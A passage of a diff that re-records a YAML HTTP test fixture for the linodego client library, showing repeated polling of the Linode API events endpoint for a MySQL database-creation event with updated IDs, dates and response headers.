GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9049,7 +9536,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9066,14 +9553,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9088,16 +9575,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:06:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9113,7 +9603,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9130,14 +9620,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9152,16 +9642,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:07:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9177,7 +9670,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9194,14 +9687,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9216,16 +9709,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:07:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9241,7 +9737,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9258,14 +9754,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9280,16 +9776,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:07:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9305,7 +9804,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9322,14 +9821,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9344,16 +9843,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:07:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9369,7 +9871,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9386,14 +9888,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9408,16 +9910,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:08:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9433,7 +9938,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9450,14 +9955,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9472,16 +9977,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:08:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9497,7 +10005,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9514,14 +10022,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9536,16 +10044,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:08:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9561,7 +10072,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9578,14 +10089,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9600,16 +10111,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:08:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9625,7 +10139,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9642,14 +10156,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9664,16 +10178,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:09:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9689,7 +10206,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9706,14 +10223,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9728,16 +10245,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:09:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9753,7 +10273,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9770,14 +10290,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9792,16 +10312,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:09:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9817,7 +10340,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9834,14 +10357,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9856,16 +10379,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:09:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9881,7 +10407,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9898,14 +10424,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9920,16 +10446,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:10:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9945,7 +10474,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9962,14 +10491,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9984,16 +10513,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:10:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10009,7 +10541,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10026,14 +10558,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -10048,16 +10580,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:10:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -10073,7 +10608,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10090,14 +10625,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - 